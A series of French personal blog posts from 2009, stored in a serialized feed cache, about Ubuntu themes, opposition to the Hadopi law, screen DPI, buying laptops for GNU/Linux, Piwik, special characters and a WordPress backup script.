Dans Ubuntu Jaunty, le thème par défaut reste Human (à gauche), mais d’autres sont disponibles par défaut comme New Wave (à droite), qui rencontre un certain succès :

themes

J’utilisais New Wave, mais je viens de me rendre compte qu’il ralentit énormément l’affichage. Par exemple, dans deluge (un client torrent), mettez en téléchargement plusieurs torrents (les différentes iso d’Ubuntu), et essayez de redimensionner une colonne : c’est très lent. Pareil dans rhythmbox (mais un peu moins flagrant). Et d’une manière générale je trouvais que le système, ou du moins son affichage, était assez lent (mais ça reste utilisable), le redimensionnement de colonnes dans deluge n’étant qu’un révélateur.

Puis j’ai sélectionné le thème par défaut (Human), et là c’est très fluide, le redimensionnement de colonne dans deluge est très rapide. Aucun problème non plus avec les autres thèmes (Dust par exemple), c’est vraiment lié à New Wave.

C’est dommage, j’aimais bien ce thème.

";s:7:"dateiso";s:15:"20090521_082731";}s:15:"20090410_153610";a:7:{s:5:"title";s:30:"Pourquoi je suis contre Hadopi";s:4:"link";s:60:"http://blog.rom1v.com/2009/04/pourquoi-je-suis-contre-hadopi";s:4:"guid";s:60:"http://blog.rom1v.com/2009/04/pourquoi-je-suis-contre-hadopi";s:7:"pubDate";s:25:"2009-04-10T15:36:10+02:00";s:11:"description";s:0:"";s:7:"content";s:11236:"

J’ai résisté depuis le début à l’idée de faire un billet à propos de la loi Hadopi, étant donné le nombre inimaginable d’infos à ce sujet sur internet.

Je fais celui-ci simplement pour indiquer pourquoi je suis contre, notamment du point de vue technique. Il s’agit en fait grosso modo du contenu des courriers (électroniques et postaux) que j’ai envoyé à certains députés avant les débats à l’Assemblée Nationale.

Je soutiens évidemment par ailleurs les arguments avancés par La Quadrature du Net.

Une preuve qui ne prouve rien

L’unique preuve utilisée pour accuser les internautes est une adresse IP (une suite de 4 nombres), apparaissant dans une liste fournie par les ayant-droits eux-mêmes. Comme cela a été montré à de nombreuses reprises, une adresse IP n’est pas une preuve suffisante pour accuser un internaute :

Et effectivement, baser l’accusation des internautes sur une simple adresse IP est extrêmement aléatoire :

Que propose alors ce projet de loi pour éviter ces problèmes ?

Une adresse IP n’est pas une preuve suffisante pour accuser un internaute.

L’une des mesures principales du projet est de court-circuiter l’autorité judiciaire : elle préconise de ne plus passer par un juge pour attaquer les internautes. Pas de solution ? Supprimons le problème…

Les bornes WiFi peuvent être utilisées par des voisins.

L’astuce est dans ce projet de ne pas poursuivre les internautes qui téléchargent des œuvres illégalement, mais le propriétaire qui est responsable de l’accès internet.

Les autres problèmes sont tout simplement ignorés.

Il y aura une part énorme des accusés qui le seront probablement à tort !

Présomption d’innocence, vous avez dit ?

Dans la déclaration universelle des droits de l’Homme de 1948, on trouve cet article :

Article 11. Toute personne accusée d’un acte délictueux est présumée innocente jusqu’à ce que sa culpabilité ait été légalement établie au cours d’un procès public où toutes les garanties nécessaires à sa défense lui auront été assurées.

Dans ce projet de loi, l’Hadopi accuse l’internaute sans preuves (si ce n’est la réception de la part des plaignants d’une adresse IP qui aurait été repérée par leurs outils de détection privés) ; s’il est innocent, c’est à lui de le démontrer.

Démontrer son innocence

Nous avons vu qu’il pourrait y avoir de nombreuses accusations à tort, et que ce sera à l’accusé de prouver son innocence. Étudions alors quand et comment il pourra se défendre.

Quand ?

Le projet de loi dit que l’accusé à tort ne pourra pas du tout contester lors des deux premières étapes de la riposte graduée (réception d’un e-mail d’avertissement et réception d’une lettre recommandée avec accusé de réception). Il pourra cependant éventuellement « en faire part » à la Haute Autorité, juste dans le but de les informer.

Il est dit qu’il pourra, par contre, faire appel à un juge une fois la section prononcée (et l’accès à Internet coupé).

Comment ?

Un internaute innocent fera donc appel à un juge une fois son accès Internet coupé. Comment pourra­t­il prouver son innocence ? C’est très simple :

Mettons de côté le cas de force majeur, et intéressons-nous aux deux autres cas.

Il prouve que son accès internet a été piraté par un tiers

C’est tout simplement impossible. Imaginez-vous un utilisateur lambda démontrer devant un juge que son accès WiFi a été piraté ? Même si l’accusé est ingénieur réseau, il aura bien du mal.

Il avait installé sur son ordinateur un logiciel de sécurisation

Ce type de logiciel n’existant pas encore, Mme Albanel précise que ce sera un logiciel « de type pare-feu ». M. Riester (rapporteur du projet de loi) indique de plus que ces logiciels seront payants et non-interopérables :

L’interopérabilité, je n’y suis pas favorable ; il faut laisser au consommateur sa totale liberté de choix en fonction de son système d’exploitation.

Les spécialistes de la question bondiront de leur chaise en lisant cette phrase, qui dit une chose et son contraire : l’interopérabilité, c’est justement le fait de pouvoir laisser l’utilisateur choisir son logiciel et son système d’exploitation. Mme Albanel a également précisé lors des deux premières journées de débat à l’Assemblée Nationale qu’il existait des pare-feux gratuits, comme par exemple celui livré avec Microsoft Office (qui coûte, rappelons­le, 129€) ou dans OpenOffice ; ceci est totalement absurde, il n’y a évidemment aucun pare-feu dans une suite bureautique.

Il existe en effet des pare-feux gratuits (iptables par exemple sous GNU/Linux), mais un pare-feu protège l’intérieur contre les attaques extérieures, tandis qu’un logiciel tel que propose ce projet de loi voudrait protéger l’extérieur contre les attaques intérieures (empêcher un utilisateur intérieur au réseau d’effectuer un téléchargement à partir d’une source extérieure). Comme si on voulait vous enfermer dans une pièce avec un verrou dans la pièce : vous n’êtes pas enfermé, puisqu’il vous suffit d’ouvrir le verrou (ici de désactiver ou de contourner le logiciel).

Pour éviter ce problème, Olivier Henrard, juriste spécialiste du texte au ministère de la Culture, ne s’est pas démonté, lors de son débat avec Jérémie Zimmermann sur 01net en précisant que ce logiciel enverra régulièrement des informations à la Haute Autorité concernant l’activité de l’ordinateur. Ce sera donc un mouchard.

Rappelons tout de même le contexte : chaque particulier devra acheter et installer un tel logiciel (et ses mises à jour) afin qu’il puisse, dans le cas où il serait accusé à tort par des aléas techniques du projet de loi, prouver sa bonne foi. Par analogie, c’est comme si chaque citoyen devait porter un bracelet électronique, qui lui permettrait alors de se défendre (et ça serait la seule façon) lorsqu’un délit a lieu près de chez lui (il pourrait prouver qu’il n’était pas là à ce moment-là).

De plus, ce type de logiciel bloquerait certains protocoles (P2P notamment), alors même que le P2P n’est pas illégal : il permet entre autres de télécharger de la musique libre (sur Jamendo par exemple) ou de nombreuses distribution GNU/Linux. Certes, il peut être utilisé à des fins illégales, tout comme le HTTP (protocole du Web) peut être utilisé pour télécharger illégalement des fichiers protégés par le droit d’auteur. Est-ce pour autant qu’il faut bloquer le Web ?

Enfin, ce logiciel serait totalement inefficace : il suffirait de l’installer sur un ordinateur (éventuellement une machine virtuelle), et de télécharger illégalement avec un autre. Et lorsque l’ordinateur où se trouve ce logiciel est éteint, l’utilisateur ne pourra plus prouver que le soi-disant logiciel de sécurisation était allumé (puisqu’il était éteint, en même temps que l’ordinateur).

Sans compter son incompatibilité totale avec le logiciel libre.

Olivier Henrard et Christine Albanel proposent une seconde idée : l’internaute pourra envoyer son disque dur en guise de bonne foi. C’est ridicule (les personnes accusées à tort sans preuve ne vont pas démonter leur ordinateur pour envoyer leur disque dur et s’en priver pour une durée indéterminée), et ça ne prouverait rien (il suffirait d’envoyer un disque dur n’ayant pas servi à un téléchargement illégal).

Conclusion

De gros problèmes techniques rendent les accusations envers les internautes totalement aléatoires. Il reviendra aux accusés sans preuves de prouver leur innocence. Ils n’auront aucun moyen de se défendre dans les deux premières étapes de la riposte graduée. Lors de la sanction finale, ils auront bien du mal à prouver leur bonne foi, à moins d’avoir effectué, avant l’accusation, l’achat et l’installation d’un mouchard sur leur ordinateur (qui bloquerait par ailleurs beaucoup de contenus légaux), et d’avoir la chance que la date et l’heure d’accusation coïncide avec celle de fonctionnement du logiciel en question (en particulier il faut que l’ordinateur soit allumé).

";s:7:"dateiso";s:15:"20090410_153610";}s:15:"20090307_112208";a:7:{s:5:"title";s:36:"Ex Falso : taggeur de fichiers audio";s:4:"link";s:63:"http://blog.rom1v.com/2009/03/exfalso-taggeur-de-fichiers-audio";s:4:"guid";s:63:"http://blog.rom1v.com/2009/03/exfalso-taggeur-de-fichiers-audio";s:7:"pubDate";s:25:"2009-03-07T11:22:08+01:00";s:11:"description";s:0:"";s:7:"content";s:1024:"

Je viens de découvrir un petit utilitaire pour tagger les fichiers audio, présent dans les dépôts officiels d’Ubuntu : ex-falso.

Il est très simple d’utilisation et permet l’édition manuelle des tags (par association clé/valeur) :

exfalso

Très pratique lorsqu’on a des fichiers d’un album multi-cd, où le numéro de CD est inscrit dans disc au lieu de discnumber (ce qui mélange tout dans les lecteurs audio tels que rhythmbox), et pour maîtriser les tags qui sont inscrits (pas comme certains logiciels tels que soundjuicer ou même l’édition des informations des fichiers dans rhythmbox qui inscrivent chacun leur lot de tags inutiles, en particulier ceux concernant musicbrainz même lorsque qu’aucun id n’est renseigné).

Si vous avez des tags à modifier, je vous le conseille.

";s:7:"dateiso";s:15:"20090307_112208";}s:15:"20090302_203328";a:7:{s:5:"title";s:61:"Résolution, pixels, points, dpi : un casse-tête insoluble ?";s:4:"link";s:82:"http://blog.rom1v.com/2009/03/resolution-pixels-points-dpi-un-casse-tete-insoluble";s:4:"guid";s:82:"http://blog.rom1v.com/2009/03/resolution-pixels-points-dpi-un-casse-tete-insoluble";s:7:"pubDate";s:25:"2009-03-02T20:33:28+01:00";s:11:"description";s:0:"";s:7:"content";s:13887:"

Ce billet fait suite à une question que je me posais sur la résolution dpi des écrans (notamment la valeur erronée détectée par défaut sous Gnome), qui m’avait amené à effectuer un rapport de bug, tout en pointant du doigt certains problèmes qui surviendraient si Gnome détectait correctement le dpi. Ce bug est maintenant corrigé dans la nougelle version de Gnome, celle embarquée dans la future Ubuntu 9.04 Jaunty Jackalope. C’est l’occasion de faire le point.

Définitions

Afin de comprendre les problèmes, il est important de définir chacun des concepts (je limite ici leur définition au cas d’une image numérique affichée sur un écran).

pixel

Le pixel, abrégé px, est une unité de surface permettant de définir la base d’une image numérique. Son nom provient de la locution anglaise « picture element », qui signifie « élément d’image » ou « point élémentaire ». Il n’a a priori pas de taille « réelle ».

point

Le point (Pica), abrégé pt, est une unité de longueur. Un point pica mesure 1/72e de pouce (1 pouce = 2,54 cm), c’est-à-dire environ 0,03528 cm, soit un peu plus d’un tiers de millimètre.

résolution

La résolution permet de donner une taille réelle à un pixel. Elle est souvent exprimée en DPI (Dot Per Inch : Point Par Pouce). Attention, dans cette unité, le point signifie pixel (et non point Pica, puisque par définition, le nombre de points Pica par pouce est toujours 72, tout comme le nombre de millimètres dans un centimètre est toujours 10).

définition

La définition d’une image ou d’un écran est le nombre de pixels qui composent l’image ou que peut afficher un écran. Elle est souvent donnée sous la forme nombre de pixels horizontalement × nombre de pixels verticalement, par exemple 640×480.

Résolution dpi de l’écran

Intérêt du dpi

Combien mesure sur l’écran une image en 640×480 ?
Quelle est la hauteur en pixels d’un texte en taille 18 pt ?
Cela dépend de la taille des pixels ! Par exemple, une image en 640×480 sera 4 fois plus petite (2 fois dans chaque dimension) sur écran 7” que sur un écran 14”, si les deux écrans ont la même définition (disons 1024×768). Pareil pour la taille d’un texte.

Quelle taille en pixels doit avoir un rectangle de 13×8 cm ?
Cela dépend également de la taille des pixels : le rectangle sera « plus petit » (en pixels) sur un écran de moindre définition.

Pour déterminer la réponse à ces questions, la connaissance de la résolution, exprimée en dpi, est nécessaire : elle permet de faire la conversion entre une mesure réelle (homogène aux centimètres) et une mesure en nombre de pixels.

Valeur réelle du dpi de l’écran

En ligne de commande

Pour connaître le dpi d’un écran, il suffit de taper :

xdpyinfo | grep resolution

À la main

Il est également possible d’effectuer le calcul à la main (comme je l’ai fait sur le post et sur le bug report cités au début), en connaissant d’une part la définition de l’écran, et d’autre part :

Juste pour illustrer le premier exemple, avec ces calculs on trouve qu’un écran 7” en 1024×768 a une résolution de 183 dpi, et donc qu’une image en 640×480 affichée à l’écran mesure précisément 3,5×2,625” (8,89×6,6675 cm). De même, un écran 14” en 1024×768 a une résolution de 91,5dpi, et donc qu’une image en 640×480 affichée à l’écran mesure précisément 7×5,25” (17,78×13,335 cm).

On remarque que si l’on fait une capture d’écran de ces deux images, dont la surface de l’une 4 fois plus petite que celle l’autre, le résultat sera identique (en 640×480) : une capture d’écran (une image numérique) affichée à l’écran ne prend en compte que la taille en pixels. Ceci a une conséquence importante : une fenêtre F1 sur un écran E1 plus petite qu’une fenêtre F2 sur un écran E2 peut apparaître plus grande sur des captures d’écran.

Valeur du dpi configurée

Le système, en connaissant le dpi, est donc capable d’afficher des objets dont les mesures sont exprimées en centimètres (ou unités homogènes, comme les pouces).

Le problème, c’est qu’il n’utilise pas toujours la valeur « réelle » du dpi : il utilise souvent une valeur pré-configurée (72 ou 96), indépendante de l’écran. La résolution dpi, seule valeur permettant de faire le lien avec la mesure réelle, est choisie arbitrairement : elle ne sert donc à rien. Tout cela avait un sens physique à l’origine, où le matériel avait toujours une résolution très proche de 72 ou de 96 (voir cet article).

Pour continuer à lui donner un sens, il faut que le système utilise le dpi réel de l’écran : c’est le cas depuis KDE4 et Gnome 2.25 ; Windows et MacOS, quant-à-eux, continuent à utiliser une valeur pré-configurée dénuée de sens.

On a donc, dans les deux environnements de bureau principaux sous GNU/Linux, une valeur correcte du dpi : c’est donc gagné !

Malheureusement, ce n’est pas si simple.

Problèmes

Problèmes théoriques

Nous possèdons un écran 15,4” de définition 1024×768, et nous souhaitons le remplacer par un nouvel écran 15,4” de définition 2048×1536 (donc de résolution double dans chaque direction).

Comment doit se comporter l’affichage des polices de caractères ?

Deux solutions :

La réponse n’est pas évidente.

La première proposition qui consiste à garder la taille identique en pixels ne peut pas être absolument vraie : si nous utilisions un écran 15,4” de définition 20480×15360 (pourquoi pas?), des lettres de 18 pixels seraient totalement illisibles par l’œil humain.

La seconde semble donc plus valable, mais nous pouvons objecter que la taille des caractères que nous avions sur notre écran 15,4” en 1024×768 est plus grande que celle dont nous avons réellement besoin : nous ne pouvions pas la diminuer à cause de la faible résolution de l’écran (une lettre représentée par 4 pixels n’est qu’une tache noire). Un écran de meilleure résolution permettrait de diminuer la taille du texte afin d’obtenir une taille réelle « meilleure ».

Nous pouvons également faire remarquer, de manière peut-être moins rigoureuse, que si nous avons investi dans un écran de meilleure définition, c’est pour « avoir plus de place ».

Mon point de vue est donc celui-ci : il existe un ensemble de tailles (une taille pour les titres, une pour les sous-titres, une pour les paragraphes…), exprimées en points, idéales. Plus nous nous en éloignons, plus nous avons une impression de « trop gros » ou « trop petit ». La seconde proposition, qui consiste à garder la taille des polices identique en points est d’après moi asymptotiquement vraie : que nous possédions un écran 20480×15360 ou 40960×30720 ne doit pas changer la taille apparente des polices.

Mais pour des résolutions trop petites (72 ou 96 dpi par exemple), une contrainte intervient fortement : les caractères doivent avoir une forme reconnaissable, et être « suffisamment lisses ». Impossible alors d’afficher des caractères dont la taille réelle serait lisible, mais dont l’équivalent en pixels est trop faible. ?ous sommes alors obligé d’augmenter artificiellement la taille réelle des polices de caractères.

Remarque : Ce raisonnement n’est valable que pour le changement de la résolution sur un écran de même taille réelle. Si nous voulions définir comment doit se comporter l’affichage sur un écran de résolution identique mais de taille plus grande (donc de meilleure définition), il faudrait prendre en compte l’éloignement des yeux par rapport à l’écran (nous sommes plus proches de l’écran sur un écran 7” que sur un écran 45”). A priori, je dirais ce que qui est asymptotiquement vrai n’est pas la conservation des tailles en points, mais la conservation des angles que forment le haut et le bas d’un caractère avec l’œil (ce qui est équivalent si on conserve un écran de même taille).

Si vous avez des remarques ou d’autres explications, je suis tout à fait ouvert, car ceci n’est que mon intuition :-)

Problèmes pratiques

En pratique, c’est compliqué.

La majorité des applications utilise des tailles de polices de caractères exprimées en points, mais des parties de l’interface sont exprimées en pixels. Par exemple, la barre de menu de Gnome a par défaut une hauteur de 24px… et son texte a une taille de 10pt. Ces mesures donnent un rendu cohérent à 96 dpi, mais plus le dpi augmente, plus le texte est « gros » par rapport à la barre (les variations de dpi ne font varier que les mesures exprimées en points). Voici le rendu par défaut sur mon écran 130 dpi :

high-dpi

Pour les applications, ce problème est contournable : on peut facilement les configurer pour définir la taille des composants ou la taille des polices.

Mais le plus gros problème se pose sur les sites internet : certains sites expriment leurs mesures en pixels et d’autres en points. Plus la valeur du dpi est élevée, plus les sites exprimés en points paraîtront gros par rapport à ceux exprimées en pixels. Sans parler des nombreux sites qui mélangent les unités de mesure. Et le pire, c’est qu’il n’y a pas de « bonne manière de faire » : les tailles en pixels et les tailles en points ont chacunes leurs avantages et leurs inconvénients sur les sites internet. On ne peut donc pas espérer que ces problèmes soient gommés au fur et à mesure.

Tout ça pour ça !

La solution que j’utilise pour éviter ces différences de tailles de texte est de… faire croire à Gnome que mon écran est en 96 dpi. Comme s’il avait une diagonale de 20,85” (15,4×130/96) : il se comporte donc exactement comme un écran 20,85” à 96 dpi qui aurait été rétréci. Au lieu de définir mes polices en 7pt à 130 dpi, je leur donne la valeur 10pt à 96 dpi, et ça évite les incohérences de rendu.

Évidemment, comme je l’ai déjà signalé, cette solution n’est pas satisfaisante : si au lieu de 130 dpi j’avais un écran à 200 dpi, les caractères seraient beaucoup trop petits si je configurais Gnome à 96 dpi (pour lui faire croire que mon écran est un 32,08”).

La valeur arbitraire donnée au dpi par le système rendait la résolution absolument dénuée de sens ; maintenant que la valeur est correcte, je la force à une valeur incorrecte pour avoir un rendu cohérent. C’était bien la peine !

Et je ne vois aucune solution envisageable pour obtenir un rendu cohérent actuellement sur d’éventuels écrans 200 ou 300 dpi. Pourtant, on pourrait penser a priori que les résolutions d’écran ne vont pas arrêter de s’améliorer dans les années à venir : ces problèmes seront-ils un frein à leur développement ?

";s:7:"dateiso";s:15:"20090302_203328";}s:15:"20090226_081655";a:7:{s:5:"title";s:59:"Achat d'ordinateur portable pour GNU/Linux : mode d'emploi";s:4:"link";s:83:"http://blog.rom1v.com/2009/02/achat-dordinateur-portable-pour-gnulinux-mode-demploi";s:4:"guid";s:83:"http://blog.rom1v.com/2009/02/achat-dordinateur-portable-pour-gnulinux-mode-demploi";s:7:"pubDate";s:25:"2009-02-26T08:16:55+01:00";s:11:"description";s:0:"";s:7:"content";s:8706:"

Lors de l’achat d’un ordinateur portable destiné à faire tourner une distribution GNU/Linux, deux problèmes se posent :

Nous pouvons distinguer deux types de revendeurs informatique :

Pour comparer les vendeurs d’ordinateurs, l’AFUL a mis en place un site : bons-vendeurs-ordinateurs.info.

Acheter chez un bon revendeur

Naturellement, il est préférable de se tourner vers un bon revendeur, lorsque cela est possible. Certains proposent des ordinateurs sans système d’exploitation, d’autres proposent des ordinateurs avec Ubuntu ou d’autres distributions GNU/Linux pré-installées. D’autres encore laissent le choix total (Windows XP, Windows Vista, Ubuntu, Mandriva, Fedora… ou sans OS), où le client ne paye la licence que pour les logiciels qu’il désire (et éventuellement le coût d’installation si le client désire avoir un système pré-installé).

Avantages

Acheter chez un de ces revendeurs résout les deux problèmes initiaux :

Remarque : attention à bien distinguer « ça fonctionne sous Linux » et « ça fonctionne sous Linux out-of-the-box ». Dans le premier cas, cela veut dire qu’il est possible de faire fonctionner le matériel éventuellement en y rajoutant un pilote (propriétaire) ; dans le second cas, tout fonctionne même en LiveCD, sans aucune manipulation. Insistez pour bien vous faire préciser si tout fonctionne sans installation de pilotes supplémentaires.

C’est ce que j’ai fait récemment en achetant un ordinateur Clevo sans logiciels, pour un prix dont la valeur entière tient sur 10 bits (pour les non-geeks, comprenez environ 1000€), pour une configuration plutôt sympa pour le prix (ce n’est pas pour jouer) :

Tout est reconnu, même en LiveCD (seule la carte graphique nVidia nécessite l’installation de pilotes propriétaires, en espérant qu’un jour il soit possible de faire fonctionner les effets 3D avec le pilote libre, comme on peut déjà le faire avec des AMD/ATI ou avec les cartes Intel intégrées). Il me reste encore à tester le bluetooth.

On pourrait donc conclure que tous les problèmes sont résolus, il suffit de se tourner vers ces revendeurs, et c’est gagné. Malheureusement, ce raisonnement serait un peu simpliste.

Inconvénients

Si ces revendeurs respectent la loi et permettent d’acheter le matériel sans les logiciels, ils n’en ont pas moins des défauts.

Le premier concerne la gamme disponible : ils ne possèdent pas tous les ordinateurs (loin de là) existants dans le circuit de distribution classique (en grande surface par exemple). Et la plupart des modèles spécifiques chez les bons revendeurs ont un design assez pauvre, qui ne rivalise pas avec celui des ordinateurs de grandes marques.

Ensuite, le prix d’une machine équipée d’un système d’exploitation GNU/Linux chez un bon revendeur est parfois supérieur à celui d’une machine équipée de Microsoft Windows chez un mauvais revendeur, tout simplement parce qu’un petit revendeur ne vend pas suffisamment d’ordinateurs pour pouvoir faire baisser les coûts.

Enfin, le délai est souvent un peu plus élevé, le temps d’assembler l’ordinateur si le revendeur propose le choix du matériel (en tout cas il est forcément plus long qu’en repartant avec l’ordinateur sous le bras dans une grande surface).

Pour diverses raisons (design, prix, autre…), des clients peuvent donc désirer tel modèle d’un matériel de telle marque, sans pour autant être obligés d’acquérir les licences de logiciels qu’ils ne désirent pas. Dans ce cas, certains préfèrent acheter chez un mauvais revendeur.

Acheter chez un mauvais revendeur

Là, c’est un peu plus compliqué.

Compatibilité matérielle

Pour la compatibilité matérielle avec le noyau Linux, il ne faut pas compter sur les vendeurs pour obtenir la moindre information (au mieux, la réponse sera « demandez sur un forum, nous on ne fait pas Linux! », au pire « c’est quoi Linux? »). Demander à un vendeur pour tester un LiveCD ou une LiveUSB d’une distribution GNU/Linux sur un ordinateur mènera presque systématiquement à une réponse négative.

Une solution est de rechercher le modèle exact de l’ordinateur dans un moteur de recherche, en espérant trouver quelqu’un indiquant si tout fonctionne ou non. Dans le cas contraire, il est toujours possible de demander sur un forum (ubuntu-fr par exemple) si quelqu’un fait fonctionner une distribution GNU/Linux sur l’ordinateur en question.

Sinon, il faut s’en remettre à la chance : le matériel est de plus en plus souvent reconnu out-of-the-box avec les nouvelles versions du noyau Linux.

Vente liée

Chez les mauvais revendeur, la vente de la licence d’une version (basic, home, premium, pro, ultimate…) de la génération actuelle de Windows (Vista en ce moment) est imposée (avec éventuellement d’autres logiciels) : il est impossible d’acquérir le matériel sans les logiciels. Ceci est illégal.

Si vous achetez un ordinateur pour y mettre exclusivement GNU/Linux, ou si vous possédez déjà une licence valide et utilisable de Windows, ne vous laissez pas faire !

Suite à différents procès, les constructeurs proposent maintenant des procédures de remboursement (après l’achat). Cependant, la plupart (actuellement toutes) sont abusives.

Non, Windows OEM ne coûte pas 25€ ! Non, le retour de l’ordinateur ne peut pas conditionner le remboursement des licences logicielles !

Je ne vais pas argumenter ou expliquer comment faire ici, je vous renvoie au détail de mes procédures racketiciel en cours.

En attendant l’optionnalité, n’hésitez pas à vous faire rembourser la licence des logiciels que vous n’utilisez pas, comme plusieurs l’ont déjà fait.

Conclusion

Pour résumer, la première chose à faire pour acheter un ordinateur destiné à GNU/Linux est de regarder si un modèle convient (selon les critères de chacun) chez les bons revendeurs. Si ce n’est pas le cas, n’acceptez pas passivement de payer une nouvelle fois des logiciels que vous n’utilisez pas.

";s:7:"dateiso";s:15:"20090226_081655";}s:15:"20090219_203536";a:7:{s:5:"title";s:43:"Piwik : statistiques de votre site sous GPL";s:4:"link";s:71:"http://blog.rom1v.com/2009/02/piwik-statistiques-de-votre-site-sous-gpl";s:4:"guid";s:71:"http://blog.rom1v.com/2009/02/piwik-statistiques-de-votre-site-sous-gpl";s:7:"pubDate";s:25:"2009-02-19T20:35:36+01:00";s:11:"description";s:0:"";s:7:"content";s:1692:"

Tout le monde (ou presque) connaît l’outil Google Analytics proposé par le géant du web, qui permet d’obtenir des statistiques détaillées sur la fréquentation de son site internet.

Dans la continuité de l’objectif d’utiliser un blog 100% libre, l’utilisation de cet outil pose problème : tout comme l’hébergement de blogs sur blogspot, l’utilisateur n’est pas propriétaire de ses données.

De plus, Google Analytics, certes pratique et facile d’utilisation, amène d’autres inconvénients :

Mais heureusement, il existe une alternative libre proposant de faire exactement la même chose, en mieux sur certains points, et hébergée chez soi : j’ai nommé Piwik.

Afin de vous donner un aperçu de l’outil, j’ai activé l’accès public des statistiques de ce blog.

EDIT 29/08/2010 : j’ai finalement désactivé l’accès public (les données recueillies sur les visiteurs n’ont pas vocation à être publiées).

Attention, c’est encore une version beta, évidemment à ne pas utiliser en production dans un contexte professionnel. De plus, je ne sais pas comment se comporte Piwik face à une charge importante (mais pour un blog ça devrait aller).

";s:7:"dateiso";s:15:"20090219_203536";}s:15:"20090201_102154";a:7:{s:5:"title";s:46:"Taper des caractères spéciaux sous GNU/Linux";s:4:"link";s:73:"http://blog.rom1v.com/2009/02/taper-des-caracteres-speciaux-sous-gnulinux";s:4:"guid";s:73:"http://blog.rom1v.com/2009/02/taper-des-caracteres-speciaux-sous-gnulinux";s:7:"pubDate";s:25:"2009-02-01T10:21:54+01:00";s:11:"description";s:0:"";s:7:"content";s:4850:"

Ceux qui ont déjà utilisé Windows savent peut-être qu’il est possible d’entrer des caractères en appuyant sur la touche Alt suivi du code ASCII en décimal.

Par exemple :

Note : Le code ASCII est utilisé pour les nombres inférieurs à 128. Pour les autres, je ne sais pas quel codage est utilisé, d’autant que rajouter un 0 devant le nombre change le code (Alt+169 c’est ® alors que Alt+0169 c’est ©, et ® peut s’écrire aussi Alt+0174). Si quelqu’un a une explication…

Sous Ubuntu, on a peu de raisons d’utiliser une telle méthode, car le layout France (Alternative), par défaut sous Gnome, permet d’utiliser bon nombre de caractères spéciaux, comme vous pouvez le voir sur ce schéma :

french-alternative-layout

Il y a 4 caractères possibles par touche. Voici comment écrire les caractères possibles d’une touche, en fonction de leur position sur le schéma :

Ainsi, pour écrire ® (dans ®om par exemple), il suffit de faire AltGr+Shift+C, tandis que AltGr+C donne ©. De même, AltGr+Shift+2 génère un É. Pour les espagnols, le ñ peut être obtenu en pressant AltGr+^, n, le ¿ et le ¡ respectivement grâce à AltGr+? et AltGr+!.

Note : Pour les caractères majuscules se trouvant sur les touches numériques, il est également possible d’activer la touche CapsLock : avec CapsLock activé, la touche 2 génère un É.

Il est donc très simple de faire rapidement des « guillemets » ou des flèches (, , , ), d’écrire le mot « œuf » correctement, d’insérer un vrai signe de mutiplication (2×3) ou d’utiliser de vrais points de suspension…

Par ailleurs, certaines combinaisons de touches donnent naturellement des caractères spéciaux, par exemple ^ suivi d’un chiffre le met en exposant : ¹²³⁴⁵⁶⁷⁸⁹⁰.

Il est possible également d’utiliser la composition de caractères :

Pour cela, il faut définir une touche du clavier qui permettra d’activer la composition : Système → Préférences → Clavier → Agencements → Autres options… → Position de la touche Compose.

layout-compose

Ensuite, il suffit de laisser appuyée cette touche pendant l’écriture des caractères à composer. Sur la capture, j’ai utilisé la touche Menu, qui se trouve à droite de AltGr ; quand je laisse enfoncée cette touche et que j’écris ae, le caractère æ est généré.

En dernier recours, il est aussi possible d’écrire un caractère directement à partir de son code Unicode en hexadécimal. Pour cela, il suffit de taper : Ctrl+Shift+u+code.

Par exemple, le code hexadécimal de ® est AE (voir ici). Ainsi, Ctrl+Shift+uae insère un ®.

L’outil gucharmap (Applications → Accessoires → Table des caractères) donne, en bas de la fenêtre, le code Unicode d’un caractère sélectionné. Par exemple affiche U+2030 : pour écrire ce caractère, on peut donc taper Ctrl+Shift+u2030.

Si on veut écrire que x∊ℝ, on fait : x, puis Ctrl+Shift+u220a, suivi de Ctrl+Shift+u211d.

Il ne reste plus qu’à apprendre la table Unicode, bon courage !

";s:7:"dateiso";s:15:"20090201_102154";}s:15:"20090131_132505";a:7:{s:5:"title";s:24:"Nouveau blog, 100% libre";s:4:"link";s:52:"http://blog.rom1v.com/2009/01/nouveau-blog-100-libre";s:4:"guid";s:52:"http://blog.rom1v.com/2009/01/nouveau-blog-100-libre";s:7:"pubDate";s:25:"2009-01-31T13:25:05+01:00";s:11:"description";s:0:"";s:7:"content";s:2795:"

Je viens de migrer mon blog hébergé sur blogger vers un blog wordpress sur un serveur perso hébergé chez moi.

Ce nouveau blog est 100% libre :

Les avantages :

Les inconvénients :

Pour les backups, si ça peut vous servir, voici mon petit script que je lance à partir de mon pc fixe :

#!/bin/sh
now=$(date +'%Y%m%d-%H%M%S')
target="/tmp/wordpress_$now.sql.gz"
echo "Connecting to database..."
ssh -t rom-eeebox "mysqldump -u root -p wordpress | gzip > $target"
scp rom-eeebox:"$target" /media/gnu/backup/rom-eeebox
rdiff-backup rom-eeebox::/home/rom/blog /media/gnu/backup/rom-eeebox/blog

Il met le contenu de la base dans une archive, la transfert sur le pc fixe, puis fait un backup incrémental de tout le répertoire /var/www/blog (tout en gardant les anciennes versions, c’est l’intérêt de rdiff-backup sur rsync).

";s:7:"dateiso";s:15:"20090131_132505";}s:15:"20081215_204700";a:7:{s:5:"title";s:8:"100000 !";s:4:"link";s:36:"http://blog.rom1v.com/2008/12/100000";s:4:"guid";s:36:"http://blog.rom1v.com/2008/12/100000";s:7:"pubDate";s:25:"2008-12-15T20:47:00+01:00";s:11:"description";s:0:"";s:7:"content";s:1261:"

La barre des 100000 inscrits sur le forum ubuntu-fr.org a été franchie.

Quand on sait qu’en général il y a 5 à 10 fois plus de connectés en invités que de connectés inscrits, ça en fait du monde :-)

Voici un graphique qui montre l’évolution du nombre total d’inscrits :

100000-stats-cumul

Et voici l’évolution du nombre de nouvelles inscriptions effectuées chaque jour sur le forum depuis sa création :

100000-stats

Comme cette seconde courbe est globalement assez linéaire (hein, oui, non, vous ne trouvez pas?), le nombre d’inscrits augmente de manière quadratique (pour ceux qui sont fachés avec les maths, ça veut dire en gros que ça augmente de plus en plus vite).

On remarque les pics d’inscriptions lors de la sortie des nouvelles versions d’Ubuntu, représentées par des bandes oranges.

En route vers les 200000 !

PS : merci à Ju pour le résultat de la requête SQL :-)

